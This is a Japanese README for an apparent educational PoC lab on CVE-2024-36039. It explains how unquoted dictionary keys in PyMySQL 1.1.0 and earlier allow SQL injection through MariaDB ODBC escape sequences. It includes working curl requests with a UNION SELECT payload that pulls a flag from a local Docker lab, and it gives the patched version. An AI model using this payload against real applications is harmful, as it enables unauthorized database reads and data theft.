
CVE-2024-36039 の PoC: PyMySQL のオブジェクトから文字列へのシリアライゼーション欠陥を介した SQL インジェクションの実証
CVE-2024-36039 向けの完全かつ再現可能な Proof of Concept (PoC) ラボです。PyMySQL(バージョン <= 1.1.0)のオブジェクトインジェクション脆弱性を、MariaDB の ODBC エスケープシーケンスを使用して完全な SQL インジェクションに昇格できることを実演します。
CVE-2024-36039 は、純Python製のMySQLクライアントライブラリである PyMySQL の脆弱性です。
パラメータ化されたクエリ(例: execute("SELECT * FROM table WHERE data = %s", (my_dict,)))が、標準の文字列ではなくキーがカスタムオブジェクトである Python 辞書を受け取ると、PyMySQL はオブジェクトの __str__ または __repr__ メソッドを使用して SQL 文字列にシリアライズします。
バグ: PyMySQL は、オブジェクトキーの結果文字列をエスケープ(一重引用符で囲むこと)するのを忘れてしまいます。その結果、引用符で囲まれていない生の文字列が、{UnquotedObjectString: 'EscapedValue'} という辞書形式で SQL ステートメントに直接注入されます。
単体では、{UnquotedKey: 'Value'} を MariaDB クエリに注入すると、{} は標準の SQL データ構文ではないため、1064 Syntax Error が発生します。
しかし、MariaDB/MySQL は中括弧 {} を使用する ODBC エスケープシーケンス をサポートしています。構文エラーを回避するには、{ の直後に続く文字列が有効な ODBC キーワード(例: d、t、ts、fn)である必要があります。
__repr__ メソッドを介して fn/* を返すカスタムオブジェクトを作成します。*/ 1} UNION SELECT 1, flag, 3 FROM secret -- に設定します。SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB は ODBC スカラー関数の開始を認識します。/*: "'*/ : MariaDB はこれをブロックコメントとして扱います。PyMySQL によって生成されたコロン : と開始引用符 ' は完全に無視されます! 1} : ODBC 関数を完了します(実質的に整数 1 を返します)。 UNION SELECT 1, flag, 3 FROM secret : 注入された SQL ペイロードが実行されます。結果: アプリケーションロジックと PyMySQL のパラメータ化の両方を回避する、完璧な SQL インジェクションが成立します!
このリポジトリをクローンして環境を起動します:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(MariaDB コンテナが完全に初期化されるまで約15〜20秒待ちます)。
標準の JSON リクエストを送信します。バックエンドは JSON キーを CustomKey オブジェクトにキャストします。
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
レスポンス: {yamato: "'Any_value'"} が無効な SQL であることを示す SQL 構文エラーが返り、インジェクションポイントが確認できます。
ODBC エスケープシーケンスのペイロードを注入して構文エラーを回避し、secret テーブルから隠されたフラグを抽出します。
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
レスポンス(PWNED!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
この脆弱性を修正するには、PyMySQL をバージョン 1.1.1 以降 にアップグレードしてください。
パッチ適用済みバージョンでは、開発者はすべての辞書キーが、型に関係なく、SQL ステートメントに挿入される前に適切にエスケープおよび引用符で囲まれることを保証しています。
pip install --upgrade PyMySQL
免責事項: このリポジトリは教育および研究目的のみで作成されています。所有していない、または明示的なテスト許可を得ていないシステムに対して、これらの技術を使用しないでください。
© 2026 by zenniskayy. より安全なインターネットのために作られました。
-- '"}'}